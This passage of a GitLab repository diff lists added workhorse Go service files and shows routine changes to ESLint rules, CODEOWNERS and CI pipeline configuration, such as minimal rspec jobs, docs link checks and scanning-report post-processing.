-rw-r--r--workhorse/cmd/gitlab-resize-image/main.go37
-rw-r--r--workhorse/cmd/gitlab-zip-cat/main.go96
-rw-r--r--workhorse/cmd/gitlab-zip-metadata/limit/reader.go52
-rw-r--r--workhorse/cmd/gitlab-zip-metadata/limit/reader_test.go90
-rw-r--r--workhorse/cmd/gitlab-zip-metadata/main.go67
-rw-r--r--workhorse/config.toml.example19
-rw-r--r--workhorse/config_test.go157
-rw-r--r--workhorse/doc/architecture/channel.md194
-rw-r--r--workhorse/doc/architecture/gitlab_features.md69
-rw-r--r--workhorse/doc/channel.md1
-rw-r--r--workhorse/doc/development/new_features.md41
-rw-r--r--workhorse/doc/development/tests.md17
-rw-r--r--workhorse/doc/operations/configuration.md217
-rw-r--r--workhorse/doc/operations/install.md44
-rw-r--r--workhorse/gitaly_integration_test.go357
-rw-r--r--workhorse/gitaly_test.go696
-rw-r--r--workhorse/go.mod44
-rw-r--r--workhorse/go.sum1025
-rw-r--r--workhorse/internal/api/api.go345
-rw-r--r--workhorse/internal/api/block.go61
-rw-r--r--workhorse/internal/api/block_test.go56
-rw-r--r--workhorse/internal/api/channel_settings.go122
-rw-r--r--workhorse/internal/api/channel_settings_test.go154
-rw-r--r--workhorse/internal/artifacts/artifacts_store_test.go338
-rw-r--r--workhorse/internal/artifacts/artifacts_test.go19
-rw-r--r--workhorse/internal/artifacts/artifacts_upload.go167
-rw-r--r--workhorse/internal/artifacts/artifacts_upload_test.go322
-rw-r--r--workhorse/internal/artifacts/entry.go123
-rw-r--r--workhorse/internal/artifacts/entry_test.go134
-rw-r--r--workhorse/internal/artifacts/escape_quotes.go10
-rw-r--r--workhorse/internal/badgateway/roundtripper.go115
-rw-r--r--workhorse/internal/badgateway/roundtripper_test.go56
-rw-r--r--workhorse/internal/builds/register.go163
-rw-r--r--workhorse/internal/builds/register_test.go108
-rw-r--r--workhorse/internal/channel/auth_checker.go69
-rw-r--r--workhorse/internal/channel/auth_checker_test.go53
-rw-r--r--workhorse/internal/channel/channel.go132
-rw-r--r--workhorse/internal/channel/proxy.go56
-rw-r--r--workhorse/internal/channel/wrappers.go134
-rw-r--r--workhorse/internal/channel/wrappers_test.go155
-rw-r--r--workhorse/internal/config/config.go154
-rw-r--r--workhorse/internal/config/config_test.go111
-rw-r--r--workhorse/internal/config/url_openers.go51
-rw-r--r--workhorse/internal/config/url_openers_test.go117
-rw-r--r--workhorse/internal/filestore/file_handler.go257
-rw-r--r--workhorse/internal/filestore/file_handler_test.go551
-rw-r--r--workhorse/internal/filestore/multi_hash.go48
-rw-r--r--workhorse/internal/filestore/reader.go17
-rw-r--r--workhorse/internal/filestore/reader_test.go46
-rw-r--r--workhorse/internal/filestore/save_file_opts.go171
-rw-r--r--workhorse/internal/filestore/save_file_opts_test.go331
-rw-r--r--workhorse/internal/git/archive.go216
-rw-r--r--workhorse/internal/git/archive_test.go87
-rw-r--r--workhorse/internal/git/blob.go47
-rw-r--r--workhorse/internal/git/blob_test.go17
-rw-r--r--workhorse/internal/git/diff.go48
-rw-r--r--workhorse/internal/git/error.go4
-rw-r--r--workhorse/internal/git/format-patch.go48
-rw-r--r--workhorse/internal/git/git-http.go100
-rw-r--r--workhorse/internal/git/info-refs.go76
-rw-r--r--workhorse/internal/git/pktline.go59
-rw-r--r--workhorse/internal/git/pktline_test.go39
-rw-r--r--workhorse/internal/git/receive-pack.go33
-rw-r--r--workhorse/internal/git/responsewriter.go75
-rw-r--r--workhorse/internal/git/snapshot.go64
-rw-r--r--workhorse/internal/git/upload-pack.go57
-rw-r--r--workhorse/internal/git/upload-pack_test.go85
-rw-r--r--workhorse/internal/gitaly/blob.go41
-rw-r--r--workhorse/internal/gitaly/diff.go55
-rw-r--r--workhorse/internal/gitaly/gitaly.go188
-rw-r--r--workhorse/internal/gitaly/gitaly_test.go80
-rw-r--r--workhorse/internal/gitaly/namespace.go8
-rw-r--r--workhorse/internal/gitaly/repository.go45
-rw-r--r--workhorse/internal/gitaly/smarthttp.go139
-rw-r--r--workhorse/internal/gitaly/unmarshal_test.go35
-rw-r--r--workhorse/internal/headers/content_headers.go109
-rw-r--r--workhorse/internal/headers/headers.go62
-rw-r--r--workhorse/internal/headers/headers_test.go24
-rw-r--r--workhorse/internal/helper/context_reader.go40
-rw-r--r--workhorse/internal/helper/context_reader_test.go83
-rw-r--r--workhorse/internal/helper/countingresponsewriter.go56
-rw-r--r--workhorse/internal/helper/countingresponsewriter_test.go50
-rw-r--r--workhorse/internal/helper/helpers.go217
-rw-r--r--workhorse/internal/helper/helpers_test.go258
-rw-r--r--workhorse/internal/helper/raven.go58
-rw-r--r--workhorse/internal/helper/tempfile.go35
-rw-r--r--workhorse/internal/helper/writeafterreader.go144
-rw-r--r--workhorse/internal/helper/writeafterreader_test.go115
-rw-r--r--workhorse/internal/httprs/LICENSE19
-rw-r--r--workhorse/internal/httprs/README.md2
-rw-r--r--workhorse/internal/httprs/httprs.go217
-rw-r--r--workhorse/internal/httprs/httprs_test.go257
-rw-r--r--workhorse/internal/imageresizer/image_resizer.go449
-rw-r--r--workhorse/internal/imageresizer/image_resizer_caching.go44
-rw-r--r--workhorse/internal/imageresizer/image_resizer_test.go259
-rw-r--r--workhorse/internal/lfs/lfs.go55
-rw-r--r--workhorse/internal/lfs/lfs_test.go61
-rw-r--r--workhorse/internal/lsif_transformer/parser/cache.go56
-rw-r--r--workhorse/internal/lsif_transformer/parser/cache_test.go33
-rw-r--r--workhorse/internal/lsif_transformer/parser/code_hover.go124
-rw-r--r--workhorse/internal/lsif_transformer/parser/code_hover_test.go106
-rw-r--r--workhorse/internal/lsif_transformer/parser/docs.go144
-rw-r--r--workhorse/internal/lsif_transformer/parser/docs_test.go54
-rw-r--r--workhorse/internal/lsif_transformer/parser/errors.go30
-rw-r--r--workhorse/internal/lsif_transformer/parser/errors_test.go26
-rw-r--r--workhorse/internal/lsif_transformer/parser/hovers.go162
-rw-r--r--workhorse/internal/lsif_transformer/parser/hovers_test.go30
-rw-r--r--workhorse/internal/lsif_transformer/parser/id.go52
-rw-r--r--workhorse/internal/lsif_transformer/parser/id_test.go28
-rw-r--r--workhorse/internal/lsif_transformer/parser/parser.go109
-rw-r--r--workhorse/internal/lsif_transformer/parser/parser_test.go80
-rw-r--r--workhorse/internal/lsif_transformer/parser/performance_test.go47
-rw-r--r--workhorse/internal/lsif_transformer/parser/ranges.go214
-rw-r--r--workhorse/internal/lsif_transformer/parser/ranges_test.go61
-rw-r--r--workhorse/internal/lsif_transformer/parser/references.go107
-rw-r--r--workhorse/internal/lsif_transformer/parser/references_test.go44
-rw-r--r--workhorse/internal/lsif_transformer/parser/testdata/dump.lsif.zipbin0 -> 2023 bytes
-rw-r--r--workhorse/internal/lsif_transformer/parser/testdata/expected/lsif/main.go.json208
-rw-r--r--workhorse/internal/lsif_transformer/parser/testdata/expected/lsif/morestrings/reverse.go.json249
-rw-r--r--workhorse/internal/lsif_transformer/parser/testdata/workhorse.lsif.zipbin0 -> 2120741 bytes
-rw-r--r--workhorse/internal/objectstore/gocloud_object.go100
-rw-r--r--workhorse/internal/objectstore/gocloud_object_test.go56
-rw-r--r--workhorse/internal/objectstore/multipart.go188
-rw-r--r--workhorse/internal/objectstore/multipart_test.go64
-rw-r--r--workhorse/internal/objectstore/object.go114
-rw-r--r--workhorse/internal/objectstore/object_test.go155
-rw-r--r--workhorse/internal/objectstore/prometheus.go39
-rw-r--r--workhorse/internal/objectstore/s3_complete_multipart_api.go51
-rw-r--r--workhorse/internal/objectstore/s3_object.go119
-rw-r--r--workhorse/internal/objectstore/s3_object_test.go174
-rw-r--r--workhorse/internal/objectstore/s3_session.go94
-rw-r--r--workhorse/internal/objectstore/s3_session_test.go57
-rw-r--r--workhorse/internal/objectstore/test/consts.go19
-rw-r--r--workhorse/internal/objectstore/test/gocloud_stub.go47
-rw-r--r--workhorse/internal/objectstore/test/objectstore_stub.go278
-rw-r--r--workhorse/internal/objectstore/test/objectstore_stub_test.go167
-rw-r--r--workhorse/internal/objectstore/test/s3_stub.go142
-rw-r--r--workhorse/internal/objectstore/upload_strategy.go46
-rw-r--r--workhorse/internal/objectstore/uploader.go115
-rw-r--r--workhorse/internal/proxy/proxy.go62
-rw-r--r--workhorse/internal/queueing/queue.go201
-rw-r--r--workhorse/internal/queueing/queue_test.go62
-rw-r--r--workhorse/internal/queueing/requests.go51
-rw-r--r--workhorse/internal/queueing/requests_test.go76
-rw-r--r--workhorse/internal/redis/keywatcher.go198
-rw-r--r--workhorse/internal/redis/keywatcher_test.go162
-rw-r--r--workhorse/internal/redis/redis.go295
-rw-r--r--workhorse/internal/redis/redis_test.go234
-rw-r--r--workhorse/internal/secret/jwt.go25
-rw-r--r--workhorse/internal/secret/roundtripper.go35
-rw-r--r--workhorse/internal/secret/secret.go77
-rw-r--r--workhorse/internal/senddata/contentprocessor/contentprocessor.go126
-rw-r--r--workhorse/internal/senddata/contentprocessor/contentprocessor_test.go293
-rw-r--r--workhorse/internal/senddata/injecter.go35
-rw-r--r--workhorse/internal/senddata/senddata.go105
-rw-r--r--workhorse/internal/senddata/writer_test.go71
-rw-r--r--workhorse/internal/sendfile/sendfile.go162
-rw-r--r--workhorse/internal/sendfile/sendfile_test.go171
-rw-r--r--workhorse/internal/sendfile/testdata/sent-file.txt1
-rw-r--r--workhorse/internal/sendurl/sendurl.go167
-rw-r--r--workhorse/internal/sendurl/sendurl_test.go197
-rw-r--r--workhorse/internal/staticpages/deploy_page.go26
-rw-r--r--workhorse/internal/staticpages/deploy_page_test.go59
-rw-r--r--workhorse/internal/staticpages/error_pages.go138
-rw-r--r--workhorse/internal/staticpages/error_pages_test.go191
-rw-r--r--workhorse/internal/staticpages/servefile.go84
-rw-r--r--workhorse/internal/staticpages/servefile_test.go134
-rw-r--r--workhorse/internal/staticpages/static.go5
-rw-r--r--workhorse/internal/testhelper/gitaly.go384
-rw-r--r--workhorse/internal/testhelper/testhelper.go152
-rw-r--r--workhorse/internal/upload/accelerate.go32
-rw-r--r--workhorse/internal/upload/body_uploader.go90
-rw-r--r--workhorse/internal/upload/body_uploader_test.go195
-rw-r--r--workhorse/internal/upload/exif/exif.go107
-rw-r--r--workhorse/internal/upload/exif/exif_test.go95
-rw-r--r--workhorse/internal/upload/exif/testdata/sample_exif.jpgbin0 -> 33881 bytes
-rw-r--r--workhorse/internal/upload/object_storage_preparer.go28
-rw-r--r--workhorse/internal/upload/object_storage_preparer_test.go62
-rw-r--r--workhorse/internal/upload/rewrite.go203
-rw-r--r--workhorse/internal/upload/saved_file_tracker.go55
-rw-r--r--workhorse/internal/upload/saved_file_tracker_test.go39
-rw-r--r--workhorse/internal/upload/skip_rails_authorizer.go22
-rw-r--r--workhorse/internal/upload/uploads.go66
-rw-r--r--workhorse/internal/upload/uploads_test.go475
-rw-r--r--workhorse/internal/upstream/development_test.go39
-rw-r--r--workhorse/internal/upstream/handlers.go39
-rw-r--r--workhorse/internal/upstream/handlers_test.go67
-rw-r--r--workhorse/internal/upstream/metrics.go117
-rw-r--r--workhorse/internal/upstream/notfoundunless.go11
-rw-r--r--workhorse/internal/upstream/roundtripper/roundtripper.go61
-rw-r--r--workhorse/internal/upstream/roundtripper/roundtripper_test.go39
-rw-r--r--workhorse/internal/upstream/roundtripper/transport.go27
-rw-r--r--workhorse/internal/upstream/routes.go345
-rw-r--r--workhorse/internal/upstream/upstream.go123
-rw-r--r--workhorse/internal/urlprefix/urlprefix.go35
-rw-r--r--workhorse/internal/utils/svg/LICENSE24
-rw-r--r--workhorse/internal/utils/svg/README.md45
-rw-r--r--workhorse/internal/utils/svg/svg.go42
-rw-r--r--workhorse/internal/zipartifacts/.gitignore1
-rw-r--r--workhorse/internal/zipartifacts/entry.go13
-rw-r--r--workhorse/internal/zipartifacts/errors.go57
-rw-r--r--workhorse/internal/zipartifacts/errors_test.go32
-rw-r--r--workhorse/internal/zipartifacts/metadata.go117
-rw-r--r--workhorse/internal/zipartifacts/metadata_test.go102
-rw-r--r--workhorse/internal/zipartifacts/open_archive.go138
-rw-r--r--workhorse/internal/zipartifacts/open_archive_test.go68
-rw-r--r--workhorse/jobs_test.go60
-rw-r--r--workhorse/logging.go72
-rw-r--r--workhorse/main.go231
-rw-r--r--workhorse/main_test.go860
-rw-r--r--workhorse/proxy_test.go117
-rw-r--r--workhorse/raven.go40
-rw-r--r--workhorse/sendfile_test.go103
-rw-r--r--workhorse/testdata/.gitkeep0
-rw-r--r--workhorse/testdata/artifacts-archive.zipbin0 -> 119 bytes
-rw-r--r--workhorse/testdata/audio.mp3bin0 -> 279 bytes
-rw-r--r--workhorse/testdata/file-ä.pdf13
-rw-r--r--workhorse/testdata/file.bmprbin0 -> 53248 bytes
-rw-r--r--workhorse/testdata/file.ipynb38
-rw-r--r--workhorse/testdata/file.pdf13
-rw-r--r--workhorse/testdata/file.rdoc7
-rw-r--r--workhorse/testdata/file.sketchbin0 -> 952 bytes
-rw-r--r--workhorse/testdata/file.stlbin0 -> 697 bytes
-rw-r--r--workhorse/testdata/file.swfbin0 -> 320 bytes
-rw-r--r--workhorse/testdata/forgedfile.pngbin0 -> 320 bytes
-rw-r--r--workhorse/testdata/image.jpgbin0 -> 84616 bytes
-rw-r--r--workhorse/testdata/image.pngbin0 -> 10262 bytes
-rw-r--r--workhorse/testdata/image.svg64
-rw-r--r--workhorse/testdata/image_single_pixel.jpgbin0 -> 631 bytes
-rw-r--r--workhorse/testdata/lsif/invalid.lsif.zipbin0 -> 2386 bytes
-rw-r--r--workhorse/testdata/lsif/valid.lsif.zipbin0 -> 2190 bytes
-rw-r--r--workhorse/testdata/receive-pack-fixture.txt1025
-rw-r--r--workhorse/testdata/tarfile.tarbin0 -> 1536 bytes
-rw-r--r--workhorse/testdata/test-secret1
-rw-r--r--workhorse/testdata/upload-pack-fixture.txt1025
-rw-r--r--workhorse/testdata/video.mp4bin0 -> 1753 bytes
-rw-r--r--workhorse/tools.go9
-rw-r--r--workhorse/upload_test.go369
-rw-r--r--yarn.lock91
6237 files changed, 233013 insertions, 90391 deletions
diff --git a/.eslintrc.yml b/.eslintrc.yml
index 48294e00844..1e6df6f5a77 100644
--- a/.eslintrc.yml
+++ b/.eslintrc.yml
@@ -42,6 +42,7 @@ rules:
no-jquery/no-serialize: error
promise/always-return: off
promise/no-callback-in-promise: off
+ "@gitlab/no-global-event-off": error
overrides:
- files:
- '**/spec/**/*'
diff --git a/.gitattributes b/.gitattributes
index 8d21784ed11..720e5f62549 100644
--- a/.gitattributes
+++ b/.gitattributes
@@ -2,3 +2,4 @@ VERSION merge=ours
Dangerfile gitlab-language=ruby
*.pdf filter=lfs diff=lfs merge=lfs -text
*.rb diff=ruby
+workhorse/testdata/*.pdf -filter -diff -merge
diff --git a/.gitignore b/.gitignore
index 30cb231e83f..93fb0b1144b 100644
--- a/.gitignore
+++ b/.gitignore
@@ -77,6 +77,7 @@ eslint-report.html
/.gitlab_kas_secret
/webpack-report/
/crystalball/
+/deprecations/
/knapsack/
/rspec_flaky/
/locale/**/LC_MESSAGES
diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index 4ea5ad1b401..5e54f9cde35 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -109,3 +109,4 @@ include:
- local: .gitlab/ci/releases.gitlab-ci.yml
- local: .gitlab/ci/notify.gitlab-ci.yml
- local: .gitlab/ci/dast.gitlab-ci.yml
+ - local: .gitlab/ci/workhorse.gitlab-ci.yml
diff --git a/.gitlab/CODEOWNERS b/.gitlab/CODEOWNERS
index a24fef5e44d..70d9dbc9ad7 100644
--- a/.gitlab/CODEOWNERS
+++ b/.gitlab/CODEOWNERS
@@ -147,6 +147,8 @@
/ee/spec/javascripts/ @gitlab-org/maintainers/frontend
/spec/frontend/ @gitlab-org/maintainers/frontend
/ee/spec/frontend/ @gitlab-org/maintainers/frontend
+/spec/frontend_integration/ @gitlab-org/maintainers/frontend
+/ee/spec/frontend_integration/ @gitlab-org/maintainers/frontend
[Database]
/db/ @gitlab-org/maintainers/database
@@ -159,6 +161,7 @@
/lib/gitlab/github_import/ @gitlab-org/maintainers/database
/app/finders/ @gitlab-org/maintainers/database
/ee/app/finders/ @gitlab-org/maintainers/database
+/rubocop/rubocop-migrations.yml @gitlab-org/maintainers/database
[Engineering Productivity]
/.gitlab-ci.yml @gl-quality/eng-prod
@@ -194,12 +197,17 @@ Dangerfile @gl-quality/eng-prod
# Secure & Threat Management ownership delineation
# https://about.gitlab.com/handbook/engineering/development/threat-management/delineate-secure-threat-management.html#technical-boundaries
-[Secure]
+[Threat Insights]
/ee/app/finders/security/ @gitlab-org/secure/threat-insights-backend-team
/ee/app/models/security/ @gitlab-org/secure/threat-insights-backend-team
/ee/app/models/vulnerabilities/ @gitlab-org/secure/threat-insights-backend-team
/ee/app/models/vulnerability.rb @gitlab-org/secure/threat-insights-backend-team
+/ee/app/policies/vulnerabilities/ @gitlab-org/secure/threat-insights-backend-team
+/ee/app/policies/vulnerability*.rb @gitlab-org/secure/threat-insights-backend-team
/ee/lib/api/vulnerabilit*.rb @gitlab-org/secure/threat-insights-backend-team
+/ee/spec/policies/vulnerabilities/ @gitlab-org/secure/threat-insights-backend-team
+/ee/spec/policies/vulnerabilities/vulnerability*.rb @gitlab-org/secure/threat-insights-backend-team
+[Secure]
/ee/lib/gitlab/ci/parsers/license_compliance/ @gitlab-org/secure/composition-analysis-be
/ee/lib/gitlab/ci/parsers/security/ @gitlab-org/secure/composition-analysis-be @gitlab-org/secure/dynamic-analysis-be @gitlab-org/secure/static-analysis-be @gitlab-org/secure/fuzzing-be
/ee/lib/gitlab/ci/reports/coverage_fuzzing/ @gitlab-org/secure/fuzzing-be
diff --git a/.gitlab/ci/dev-fixtures.gitlab-ci.yml b/.gitlab/ci/dev-fixtures.gitlab-ci.yml
index 4141cc7f071..c19dce7e4a9 100644
--- a/.gitlab/ci/dev-fixtures.gitlab-ci.yml
+++ b/.gitlab/ci/dev-fixtures.gitlab-ci.yml
@@ -8,9 +8,9 @@
needs: ["setup-test-env"]
variables:
FIXTURE_PATH: "db/fixtures/development"
- SEED_CYCLE_ANALYTICS: "true"
+ SEED_VSA: "true"
SEED_PRODUCTIVITY_ANALYTICS: "true"
- CYCLE_ANALYTICS_ISSUE_COUNT: 1
+ VSA_ISSUE_COUNT: 1
SIZE: 0 # number of external projects to fork, requires network connection
# SEED_NESTED_GROUPS: "false" # requires network connection
diff --git a/.gitlab/ci/docs.gitlab-ci.yml b/.gitlab/ci/docs.gitlab-ci.yml
index b258eb73515..d6dc709a11a 100644
--- a/.gitlab/ci/docs.gitlab-ci.yml
+++ b/.gitlab/ci/docs.gitlab-ci.yml
@@ -53,7 +53,7 @@ docs-lint links:
extends:
- .default-retry
- .docs:rules:docs-lint
- image: "registry.gitlab.com/gitlab-org/gitlab-docs/lint:ruby-2.7.2-alpine-3.12-vale-2.4.3-markdownlint-0.24.0"
+ image: "registry.gitlab.com/gitlab-org/gitlab-docs/lint-html:alpine-3.12-ruby-2.7.2"
stage: test
needs: []
script:
@@ -66,6 +66,13 @@ docs-lint links:
- bundle exec nanoc
# Check the internal links
- bundle exec nanoc check internal_links
+ # Delete the redirect files, rebuild, and check internal links again, to see if we are linking to redirects.
+ # Don't delete the documentation/index.md, which is a false positive for the simple grep.
+ - grep -rl "redirect_to:" /tmp/gitlab-docs/content/ee/ | grep -v "development/documentation/index.md" | xargs rm -f
+ - bundle exec nanoc
+ - echo -e "\e[1;96mThe following test fails when a doc links to a redirect file."
+ - echo -e "\e[1;96mMake sure all links point to the correct page."
+ - bundle exec nanoc check internal_links
# Check the internal anchor links
- bundle exec nanoc check internal_anchors
diff --git a/.gitlab/ci/rails.gitlab-ci.yml b/.gitlab/ci/rails.gitlab-ci.yml
index 14b07dd4a2a..2818b6be176 100644
--- a/.gitlab/ci/rails.gitlab-ci.yml
+++ b/.gitlab/ci/rails.gitlab-ci.yml
@@ -14,6 +14,10 @@
- run_timed_command "scripts/gitaly-test-spawn"
- source ./scripts/rspec_helpers.sh
+.minimal-rspec-tests:
+ variables:
+ RSPEC_TESTS_MAPPING_ENABLED: "true"
+
.rspec-base:
extends: .rails-job-base
stage: test
@@ -21,7 +25,8 @@
RUBY_GC_MALLOC_LIMIT: 67108864
RUBY_GC_MALLOC_LIMIT_MAX: 134217728
CRYSTALBALL: "true"
- needs: ["setup-test-env", "retrieve-tests-metadata", "compile-test-assets"]
+ RECORD_DEPRECATIONS: "true"
+ needs: ["setup-test-env", "retrieve-tests-metadata", "compile-test-assets", "detect-tests"]
script:
- *base-script
- rspec_paralellized_job "--tag ~quarantine --tag ~geo --tag ~level:migration"
@@ -31,6 +36,7 @@
paths:
- coverage/
- crystalball/
+ - deprecations/
- knapsack/
- rspec_flaky/
- rspec_profiling/
@@ -62,7 +68,7 @@
- .rspec-base
- .as-if-foss
- .use-pg11
- needs: ["setup-test-env", "retrieve-tests-metadata", "compile-test-assets as-if-foss"]
+ needs: ["setup-test-env", "retrieve-tests-metadata", "compile-test-assets as-if-foss", "detect-tests"]
.rspec-ee-base-pg11:
extends:
@@ -238,24 +244,48 @@ rspec migration pg11:
- .rspec-base-migration
- .rspec-migration-parallel
+rspec migration pg11 minimal:
+ extends:
+ - rspec migration pg11
+ - .minimal-rspec-tests
+ - .rails:rules:ee-and-foss-migration:minimal
+
rspec unit pg11:
extends:
- .rspec-base-pg11
- .rails:rules:ee-and-foss-unit
- .rspec-unit-parallel
+rspec unit pg11 minimal:
+ extends:
+ - rspec unit pg11
+ - .minimal-rspec-tests
+ - .rails:rules:ee-and-foss-unit:minimal
+
rspec integration pg11:
extends:
- .rspec-base-pg11
- .rails:rules:ee-and-foss-integration
- .rspec-integration-parallel
+rspec integration pg11 minimal:
+ extends:
+ - rspec integration pg11
+ - .minimal-rspec-tests
+ - .rails:rules:ee-and-foss-integration:minimal
+
rspec system pg11:
extends:
- .rspec-base-pg11
- .rails:rules:ee-and-foss-system
- .rspec-system-parallel
+rspec system pg11 minimal:
+ extends:
+ - rspec system pg11
+ - .minimal-rspec-tests
+ - .rails:rules:ee-and-foss-system:minimal
+
rspec fast_spec_helper:
extends:
- .rspec-base-pg11
@@ -263,6 +293,12 @@ rspec fast_spec_helper:
script:
- bin/rspec spec/fast_spec_helper.rb
+rspec fast_spec_helper minimal:
+ extends:
+ - rspec fast_spec_helper
+ - .minimal-rspec-tests
+ - .rails:rules:ee-and-foss-fast_spec_helper:minimal
+
db:migrate:reset:
extends: .db-job-base
script:
@@ -284,7 +320,7 @@ db:migrate-from-v12.10.0:
- export TAG_TO_CHECKOUT="v12.10.0-ee"
- '[[ -d "ee/" ]] || export PROJECT_TO_CHECKOUT="gitlab-foss"'
- '[[ -d "ee/" ]] || export TAG_TO_CHECKOUT="v12.10.0"'
- - git fetch https://gitlab.com/gitlab-org/$PROJECT_TO_CHECKOUT.git $TAG_TO_CHECKOUT
+ - retry 'git fetch https://gitlab.com/gitlab-org/$PROJECT_TO_CHECKOUT.git $TAG_TO_CHECKOUT'
- git checkout -f FETCH_HEAD
- sed -i -e "s/gem 'grpc', '~> 1.24.0'/gem 'grpc', '~> 1.30.2'/" Gemfile # Update gRPC for Ruby 2.7
- sed -i -e "s/gem 'google-protobuf', '~> 3.8.0'/gem 'google-protobuf', '~> 3.12.0'/" Gemfile
@@ -382,6 +418,7 @@ rspec:feature-flags:
- .coverage-base
- .rails:rules:rspec-feature-flags
stage: post-test
+ allow_failure: true
# We cannot use needs since it would mean needing 84 jobs (since most are parallelized)
# so we use `dependencies` here.
dependencies:
@@ -401,7 +438,8 @@ rspec:feature-flags:
- memory-on-boot
script:
- run_timed_command "bundle install --jobs=$(nproc) --path=vendor --retry=3 --quiet --without default development test production puma unicorn kerberos metrics omnibus ed25519"
- - run_timed_command "bundle exec scripts/used-feature-flags"
+ - 'run_timed_command "bundle exec scripts/used-feature-flags" || (scripts/slack master-broken "â˜ ï¸ \`${CI_JOB_NAME}\` failed! â˜ ï¸ See ${CI_JOB_URL}" ci_failing "GitLab Bot" && exit 1)'
+
# EE/FOSS: default refs (MRs, master, schedules) jobs #
#######################################################
@@ -414,24 +452,48 @@ rspec migration pg11-as-if-foss:
- .rails:rules:as-if-foss-migration
- .rspec-migration-parallel
+rspec migration pg11-as-if-foss minimal:
+ extends:
+ - rspec migration pg11-as-if-foss
+ - .minimal-rspec-tests
+ - .rails:rules:as-if-foss-migration:minimal
+
rspec unit pg11-as-if-foss:
extends:
- .rspec-base-pg11-as-if-foss
- .rails:rules:as-if-foss-unit
- .rspec-unit-parallel
+rspec unit pg11-as-if-foss minimal:
+ extends:
+ - rspec unit pg11-as-if-foss
+ - .minimal-rspec-tests
+ - .rails:rules:as-if-foss-unit:minimal
+
rspec integration pg11-as-if-foss:
extends:
- .rspec-base-pg11-as-if-foss
- .rails:rules:as-if-foss-integration
- .rspec-integration-parallel
+rspec integration pg11-as-if-foss minimal:
+ extends:
+ - rspec integration pg11-as-if-foss
+ - .minimal-rspec-tests
+ - .rails:rules:as-if-foss-integration:minimal
+
rspec system pg11-as-if-foss:
extends:
- .rspec-base-pg11-as-if-foss
- .rails:rules:as-if-foss-system
- .rspec-system-parallel
+rspec system pg11-as-if-foss minimal:
+ extends:
+ - rspec system pg11-as-if-foss
+ - .minimal-rspec-tests
+ - .rails:rules:as-if-foss-system:minimal
+
rspec-ee migration pg11:
extends:
- .rspec-ee-base-pg11
@@ -439,40 +501,82 @@ rspec-ee migration pg11:
- .rails:rules:ee-only-migration
- .rspec-ee-migration-parallel
+rspec-ee migration pg11 minimal:
+ extends:
+ - rspec-ee migration pg11
+ - .minimal-rspec-tests
+ - .rails:rules:ee-only-migration:minimal
+
rspec-ee unit pg11:
extends:
- .rspec-ee-base-pg11
- .rails:rules:ee-only-unit
- .rspec-ee-unit-parallel
+rspec-ee unit pg11 minimal:
+ extends:
+ - rspec-ee unit pg11
+ - .minimal-rspec-tests
+ - .rails:rules:ee-only-unit:minimal
+
rspec-ee integration pg11:
extends:
- .rspec-ee-base-pg11
- .rails:rules:ee-only-integration
- .rspec-ee-integration-parallel
+rspec-ee integration pg11 minimal:
+ extends:
+ - rspec-ee integration pg11
+ - .minimal-rspec-tests
+ - .rails:rules:ee-only-integration:minimal
+
rspec-ee system pg11:
extends:
- .rspec-ee-base-pg11
- .rails:rules:ee-only-system
- .rspec-ee-system-parallel
+rspec-ee system pg11 minimal:
+ extends:
+ - rspec-ee system pg11
+ - .minimal-rspec-tests
+ - .rails:rules:ee-only-system:minimal
+
rspec-ee unit pg11 geo:
extends:
- .rspec-ee-base-geo-pg11
- .rails:rules:ee-only-unit
- .rspec-ee-unit-geo-parallel
+rspec-ee unit pg11 geo minimal:
+ extends:
+ - rspec-ee unit pg11 geo
+ - .minimal-rspec-tests
+ - .rails:rules:ee-only-unit:minimal
+
rspec-ee integration pg11 geo:
extends:
- .rspec-ee-base-geo-pg11
- .rails:rules:ee-only-integration
+rspec-ee integration pg11 geo minimal:
+ extends:
+ - rspec-ee integration pg11 geo
+ - .minimal-rspec-tests
+ - .rails:rules:ee-only-integration:minimal
+
rspec-ee system pg11 geo:
extends:
- .rspec-ee-base-geo-pg11
- .rails:rules:ee-only-system
+rspec-ee system pg11 geo minimal:
+ extends:
+ - rspec-ee system pg11 geo
+ - .minimal-rspec-tests
+ - .rails:rules:ee-only-system:minimal
+
db:rollback geo:
extends:
- db:rollback
diff --git a/.gitlab/ci/reports.gitlab-ci.yml b/.gitlab/ci/reports.gitlab-ci.yml
index 565ed93967c..85aec070557 100644
--- a/.gitlab/ci/reports.gitlab-ci.yml
+++ b/.gitlab/ci/reports.gitlab-ci.yml
@@ -145,6 +145,10 @@ dependency_scanning:
--volume "$PWD:/code" \
--volume /var/run/docker.sock:/var/run/docker.sock \
"registry.gitlab.com/gitlab-org/security-products/dependency-scanning:$DS_MAJOR_VERSION" /code
+ # Post-processing: This will be an after_script once this job will use the Dependency Scanning CI template
+ - apk add jq
+ # Lower execa severity based on https://gitlab.com/gitlab-org/gitlab/-/issues/223859#note_452922390
+ - jq '(.vulnerabilities[] | select (.cve == "yarn.lock:execa:gemnasium:05cfa2e8-2d0c-42c1-8894-638e2f12ff3d")).severity = "Medium"' gl-dependency-scanning-report.json > temp.json && mv temp.json gl-dependency-scanning-report.json
artifacts:
paths:
- gl-dependency-scanning-report.json # GitLab-specific
diff --git a/.gitlab/ci/review.gitlab-ci.yml b/.gitlab/ci/review.gitlab-ci.yml
index d3069657e88..f1bd173ff6d 100644
--- a/.gitlab/ci/review.gitlab-ci.yml
+++ b/.gitlab/ci/review.gitlab-ci.yml
@@ -38,7 +38,7 @@ review-build-cng:
- BUILD_TRIGGER_TOKEN=$REVIEW_APPS_BUILD_TRIGGER_TOKEN ./scripts/trigger-build cng
# When the job is manual, review-deploy is also manual and we don't want people
# to have to manually start the jobs in sequence, so we do it for them.
- - '[ -z $CI_JOB_MANUAL ] || play_job "review-deploy"'
+ - '[ -z $CI_JOB_MANUAL ] || scripts/api/play_job --job-name "review-deploy"'
.review-workflow-base:
extends:
@@ -78,8 +78,8 @@ review-deploy:
- disable_sign_ups || (delete_release && exit 1)
# When the job is manual, review-qa-smoke is also manual and we don't want people
# to have to manually start the jobs in sequence, so we do it for them.
- - '[ -z $CI_JOB_MANUAL ] || play_job "review-qa-smoke"'
- - '[ -z $CI_JOB_MANUAL ] || play_job "review-performance"'
+ - '[ -z $CI_JOB_MANUAL ] || scripts/api/play_job --job-name "review-qa-smoke"'
+ - '[ -z $CI_JOB_MANUAL ] || scripts/api/play_job --job-name "review-performance"'
after_script:
# Run seed-dast-test-data.sh only when DAST_RUN is set to true. This is to pupulate review app with data for DAST scan.
